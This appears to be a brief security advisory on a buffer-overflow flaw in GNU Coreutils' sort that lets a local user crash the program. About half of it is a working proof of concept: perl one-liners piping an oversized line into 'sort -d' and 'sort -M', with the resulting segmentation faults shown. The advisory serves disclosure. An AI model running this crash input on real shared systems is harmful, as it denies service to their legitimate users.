  GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.
  
  A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed. 
  
  % perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -d
  [1] 13431 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
  13432 segmentation fault sort -d
  
  % perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M
  [1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
  13434 segmentation fault sort -M
